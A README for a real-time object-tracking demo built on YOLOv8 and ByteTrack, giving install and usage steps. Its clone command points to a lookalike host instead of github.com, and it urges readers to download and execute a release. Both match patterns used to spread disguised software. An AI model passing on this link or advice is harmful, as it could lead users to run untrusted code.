Welcome to the Multi-Tracking YOLOv8 with ByteTrack repository! This project demonstrates real-time object detection and tracking using the powerful YOLOv8 model and ByteTrack algorithm. It is designed to track multiple objects in video streams, making it ideal for various applications, including animal tracking and security monitoring.
In the age of AI and computer vision, tracking objects in real-time is a critical task. This demo software leverages the latest advancements in deep learning to provide efficient and accurate tracking solutions. By combining YOLOv8 for detection and ByteTrack for tracking, this tool can process video streams effectively, whether on a CPU or GPU.
- Real-Time Detection: Utilize YOLOv8 for fast and accurate object detection.
- Multi-Object Tracking: Track multiple objects simultaneously using ByteTrack.
- Flexible Hardware Support: Run on both CPU and GPU, allowing for versatility in deployment.
- Easy to Use: Simple setup and straightforward usage make it accessible for everyone.
- OpenCV Integration: Use OpenCV for video handling and display.
To get started, follow these steps to install the necessary dependencies:
-
Clone the Repository:
git clone https://github.com/Yghan31/multi-tracking-YOLOv8-ByteTrack.git cd multi-tracking-YOLOv8-ByteTrack
-
Install Required Packages:
Make sure you have Python 3.8 or higher installed. Then, install the required packages using pip:
pip install -r requirements.txt
-
Setup Environment:
If you plan to run the software on a GPU, ensure you have the appropriate CUDA drivers installed. You can check your GPU compatibility on the NVIDIA website.
To use the software, follow these steps:
-
Prepare Your Video Stream:
You can use a local video file or a live camera feed. Ensure that your video source is accessible.
-
Run the Application:
Execute the following command in your terminal:
python main.py --source <your_video_source>
Replace
<your_video_source>
with the path to your video file or the camera index (e.g.,0
for the first camera). -
View Results:
The application will open a window displaying the video stream with detected and tracked objects. Press
q
to exit.
Here are some examples of how the software performs in different scenarios:
This software is perfect for tracking animals in various environments. You can set it up to monitor wildlife or pets in real-time.
Use the tool for security purposes, tracking individuals or vehicles in a designated area.
Contributions are welcome! If you have suggestions or improvements, please feel free to fork the repository and submit a pull request. You can also open an issue if you encounter any bugs or have questions.
- Fork the repository.
- Create a new branch for your feature or bug fix.
- Make your changes and commit them.
- Push your branch to your forked repository.
- Submit a pull request to the main repository.
This project is licensed under the MIT License. See the LICENSE file for details.
For any questions or feedback, please reach out to me via GitHub or email.
You can find the latest releases of the software here. Download the latest version and execute it to experience the capabilities of this tool.
Feel free to check the "Releases" section for updates and new features.
Thank you for exploring the Multi-Tracking YOLOv8 with ByteTrack project! I hope you find it useful for your applications.